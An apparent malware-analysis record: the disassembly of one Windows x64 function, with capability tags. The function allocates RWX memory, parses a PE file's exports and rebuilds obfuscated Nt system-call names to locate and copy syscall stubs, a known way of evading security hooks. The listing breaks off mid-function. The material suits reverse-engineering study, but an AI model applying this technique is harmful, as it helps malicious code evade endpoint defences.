Function at 0x140004029
Capabilities:
Allocate or change rwx memory
Enumerate process modules
Enumerate processes
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x5430
call fcn.1400162d0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140015320
call fcn.140001617
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x5388], eax
mov eax, dword [rbp + 0x5388]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x5380], rax
mov rax, qword [rbp + 0x5380]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x5378], rax
mov rax, qword [rbp + 0x5378]
add rax, 0x17
mov qword [rbp + 0x5370], rax
mov rax, qword [rbp + 0x5370]
add rax, 0x17
mov qword [rbp + 0x5368], rax
mov rax, qword [rbp + 0x5368]
add rax, 0x17
mov qword [rbp + 0x5360], rax
mov rax, qword [rbp + 0x5360]
add rax, 0x17
mov qword [rbp + 0x5358], rax
mov rax, qword [rbp + 0x5358]
add rax, 0x17
mov qword [rbp + 0x5350], rax
mov rax, qword [rbp + 0x5350]
add rax, 0x17
mov qword [rbp + 0x5348], rax
mov rax, qword [rbp + 0x5348]
add rax, 0x17
mov qword [rbp + 0x5340], rax
mov rax, qword [rbp + 0x5340]
add rax, 0x17
mov qword [rbp + 0x5338], rax
mov rax, qword [rbp + 0x5338]
add rax, 0x17
mov qword [rbp + 0x5330], rax
mov rax, qword [rbp + 0x5330]
add rax, 0x17
mov qword [rbp + 0x5328], rax
mov rax, qword [rbp + 0x5328]
add rax, 0x17
mov qword [rbp + 0x5320], rax
mov rax, qword [rbp + 0x5320]
add rax, 0x17
mov qword [rbp + 0x5318], rax
mov rax, qword [rbp + 0x5318]
add rax, 0x17
mov qword [rbp + 0x5310], rax
mov rax, qword [rbp + 0x5310]
add rax, 0x17
mov qword [rbp + 0x5308], rax
mov rax, qword [rbp + 0x5308]
add rax, 0x17
mov qword [rbp + 0x5300], rax
mov rax, qword [rbp + 0x5300]
add rax, 0x17
mov qword [rbp + 0x52f8], rax
mov rax, qword [rbp + 0x52f8]
add rax, 0x17
mov qword [rbp + 0x52f0], rax
mov dword [rbp + 0x24dc], 0
mov qword [rbp + 0x52e8], 0
mov dword [rbp + 0x52e4], 0
mov dword [rbp + 0x24d8], 0
mov qword [rbp + 0x52d8], 0
mov rax, qword [rbp + 0x5378]
mov qword [0x140443038], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x5378]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5370]
mov qword [0x140443040], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x5370]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5368]
mov qword [0x140443048], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x5368]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5360]
mov qword [0x140443050], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x5360]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5358]
mov qword [0x140443058], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x5358]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5350]
mov qword [0x140443060], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x5350]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5348]
mov qword [0x140443068], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x5348]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5340]
mov qword [0x140443070], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x5340]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5338]
mov qword [0x140443078], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x5338]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5330]
mov qword [0x140443080], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x5330]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5328]
mov qword [0x140443088], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x5328]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5320]
mov qword [0x140443090], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x5320]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5318]
mov qword [0x140443098], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x5318]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5310]
mov qword [0x1404430a0], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x5310]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5308]
mov qword [0x1404430a8], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x5308]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5300]
mov qword [0x1404430b0], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x5300]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52f8]
mov qword [0x1404430b8], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x52f8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52f0]
mov qword [0x1404430c0], rax
lea rdx, [rbp + 0x24dc]
mov rax, qword [rbp + 0x52f0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x14041754b]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x52e8], rax
mov rax, qword [rbp + 0x52e8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x52e4], eax
mov ebx, dword [rbp + 0x52e4]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x52d8], rax
lea r8, [rbp + 0x24d8]
mov ecx, dword [rbp + 0x52e4]
mov rdx, qword [rbp + 0x52d8]
mov rax, qword [rbp + 0x52e8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x52d8]
mov qword [rbp + 0x52d0], rax
mov rax, qword [rbp + 0x52d0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x52d8]
add rax, rdx
mov qword [rbp + 0x52c8], rax
mov rax, qword [rbp + 0x52c8]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x52c4], eax
mov rax, qword [rbp + 0x52c8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x52c8]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x53a8], rax
mov rax, qword [rbp + 0x53a8]
mov qword [rbp + 0x52b8], rax
mov rax, qword [rbp + 0x53a8]
mov qword [rbp + 0x53a0], rax
mov dword [rbp + 0x539c], 0
jmp 0x140004767
mov rax, qword [rbp + 0x53a8]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140004758
mov rax, qword [rbp + 0x53a8]
mov qword [rbp + 0x53a0], rax
jmp 0x14000477d
add qword [rbp + 0x53a8], 0x28
add dword [rbp + 0x539c], 1
mov rax, qword [rbp + 0x52c8]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x539c], eax
jl 0x14000472e
mov edx, dword [rbp + 0x52c4]
mov rax, qword [rbp + 0x52d8]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x53a0]
mov rdx, rax
call fcn.1400014b0
mov qword [rbp + 0x52b0], rax
lea rax, [rbp + 0x27af]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x27af]
lea rax, [rbp + 0x2780]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x2760]
lea rdx, [rbp + 0x2780]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2740]
lea rdx, [rbp + 0x2760]
lea r8, [0x140417574]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2720]
lea rdx, [rbp + 0x2740]
lea r8, [0x140417576]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2700]
lea rdx, [rbp + 0x2720]
lea r8, [0x140417576]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x26e0]
lea rdx, [rbp + 0x2700]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x26c0]
lea rdx, [rbp + 0x26e0]
lea r8, [0x14041757a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x26a0]
lea rdx, [rbp + 0x26c0]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2680]
lea rdx, [rbp + 0x26a0]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2660]
lea rdx, [rbp + 0x2680]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2640]
lea rdx, [rbp + 0x2660]
lea r8, [0x140417580]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2620]
lea rdx, [rbp + 0x2640]
lea r8, [0x140417582]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2600]
lea rdx, [rbp + 0x2620]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x25e0]
lea rdx, [rbp + 0x2600]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x25c0]
lea rdx, [rbp + 0x25e0]
lea r8, [0x140417586]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x25a0]
lea rdx, [rbp + 0x25c0]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2580]
lea rdx, [rbp + 0x25a0]
lea r8, [0x140417576]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2560]
lea rdx, [rbp + 0x2580]
lea r8, [0x140417588]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2540]
lea rdx, [rbp + 0x2560]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2520]
lea rdx, [rbp + 0x2540]
lea r8, [0x14041758a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2500]
lea rdx, [rbp + 0x2520]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x24e0]
lea rdx, [rbp + 0x2500]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x24b0]
lea rdx, [rbp + 0x24e0]
lea r8, [0x14041758c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x24e0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2500]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2520]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2540]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2560]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2580]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x25a0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x25c0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x25e0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2600]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2620]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2640]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2660]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x26a0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x26c0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x26e0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2700]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2720]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2740]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2760]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2780]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x27af]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x27b0]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x27b0]
mov rcx, qword [rbp + 0x5378]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x27b0]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x140004c23
lea rbx, [0x14041758e]
jmp 0x140004c2a
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2a5f]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x2a5f]
lea rax, [rbp + 0x2a30]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x2a10]
lea rdx, [rbp + 0x2a30]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x29f0]
lea rdx, [rbp + 0x2a10]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x29d0]
lea rdx, [rbp + 0x29f0]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x29b0]
lea rdx, [rbp + 0x29d0]
lea r8, [0x140417582]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2990]
lea rdx, [rbp + 0x29b0]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2970]
lea rdx, [rbp + 0x2990]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2950]
lea rdx, [rbp + 0x2970]
lea r8, [0x140417580]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2930]
lea rdx, [rbp + 0x2950]
lea r8, [0x140417582]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2910]
lea rdx, [rbp + 0x2930]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x28f0]
lea rdx, [rbp + 0x2910]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x28d0]
lea rdx, [rbp + 0x28f0]
lea r8, [0x140417586]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x28b0]
lea rdx, [rbp + 0x28d0]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2890]
lea rdx, [rbp + 0x28b0]
lea r8, [0x140417576]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2870]
lea rdx, [rbp + 0x2890]
lea r8, [0x140417588]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2850]
lea rdx, [rbp + 0x2870]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2830]
lea rdx, [rbp + 0x2850]
lea r8, [0x14041758a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2810]
lea rdx, [rbp + 0x2830]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x27f0]
lea rdx, [rbp + 0x2810]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x27d0]
lea rdx, [rbp + 0x27f0]
lea r8, [0x14041758c]
mov rcx, rax
call fcn.1400bba50
lea rdx, [rbp + 0x27d0]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x27d0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x27f0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2810]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2830]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2850]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2870]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2890]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x28b0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x28d0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x28f0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2910]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2930]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2950]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2970]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2990]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x29b0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x29d0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x29f0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2a10]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2a30]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2a5f]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x2a60]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x2a60]
mov rcx, qword [rbp + 0x5370]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x2a60]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x14000506e
lea rbx, [0x14041758e]
jmp 0x140005075
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2d4f]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x2d4f]
lea rax, [rbp + 0x2d20]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x2d00]
lea rdx, [rbp + 0x2d20]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2ce0]
lea rdx, [rbp + 0x2d00]
lea r8, [0x1404175ae]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2cc0]
lea rdx, [rbp + 0x2ce0]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2ca0]
lea rdx, [rbp + 0x2cc0]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2c80]
lea rdx, [rbp + 0x2ca0]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2c60]
lea rdx, [rbp + 0x2c80]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2c40]
lea rdx, [rbp + 0x2c60]
lea r8, [0x14041757a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2c20]
lea rdx, [rbp + 0x2c40]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2c00]
lea rdx, [rbp + 0x2c20]
lea r8, [0x140417580]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2be0]
lea rdx, [rbp + 0x2c00]
lea r8, [0x140417582]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2bc0]
lea rdx, [rbp + 0x2be0]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2ba0]
lea rdx, [rbp + 0x2bc0]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2b80]
lea rdx, [rbp + 0x2ba0]
lea r8, [0x140417586]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2b60]
lea rdx, [rbp + 0x2b80]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2b40]
lea rdx, [rbp + 0x2b60]
lea r8, [0x140417576]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2b20]
lea rdx, [rbp + 0x2b40]
lea r8, [0x140417588]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2b00]
lea rdx, [rbp + 0x2b20]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2ae0]
lea rdx, [rbp + 0x2b00]
lea r8, [0x14041758a]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2ac0]
lea rdx, [rbp + 0x2ae0]
lea r8, [0x140417578]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2aa0]
lea rdx, [rbp + 0x2ac0]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2a80]
lea rdx, [rbp + 0x2aa0]
lea r8, [0x14041758c]
mov rcx, rax
call fcn.1400bba50
lea rdx, [rbp + 0x2a80]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400ab630
lea rax, [rbp + 0x2a80]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2aa0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2ac0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2ae0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2b00]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2b20]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2b40]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2b60]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2b80]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2ba0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2bc0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2be0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2c00]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2c20]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2c40]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2c60]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2c80]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2ca0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2cc0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2ce0]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2d00]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2d20]
mov rcx, rax
call fcn.1400ab5f0
lea rax, [rbp + 0x2d4f]
mov rcx, rax
call fcn.1400735a0
lea rdx, [rbp + 0x24b0]
lea rax, [rbp + 0x2d50]
mov rcx, rax
call fcn.1400aaa40
mov r9, qword [rbp + 0x52b8]
mov r8, qword [rbp + 0x52d8]
mov rdx, qword [rbp + 0x52b0]
lea rax, [rbp + 0x2d50]
mov rcx, qword [rbp + 0x5368]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x53a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x52ac], eax
lea rax, [rbp + 0x2d50]
mov rcx, rax
call fcn.1400ab5f0
cmp dword [rbp + 0x52ac], 0
je 0x140005511
lea rbx, [0x14041758e]
jmp 0x140005518
lea rbx, [0x140417593]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.140030d70
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x2f7f]
mov rcx, rax
call fcn.140073570
lea rdx, [rbp + 0x2f7f]
lea rax, [rbp + 0x2f50]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aaed0
lea rax, [rbp + 0x2f30]
lea rdx, [rbp + 0x2f50]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2f10]
lea rdx, [rbp + 0x2f30]
lea r8, [0x1404175b0]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2ef0]
lea rdx, [rbp + 0x2f10]
lea r8, [0x140417584]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2ed0]
lea rdx, [rbp + 0x2ef0]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2eb0]
lea rdx, [rbp + 0x2ed0]
lea r8, [0x14041757c]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2e90]
lea rdx, [rbp + 0x2eb0]
lea r8, [0x140417572]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2e70]
lea rdx, [rbp + 0x2e90]
lea r8, [0x14041757e]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2e50]
lea rdx, [rbp + 0x2e70]
lea r8, [0x1404175b2]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2e30]
lea rdx, [rbp + 0x2e50]
lea r8, [0x1404175b4]
mov rcx, rax
call fcn.1400bba50
lea rax, [rbp + 0x2e10]
lea rdx, [rbp + 0x2e30]
lea r8, [0x140417584]
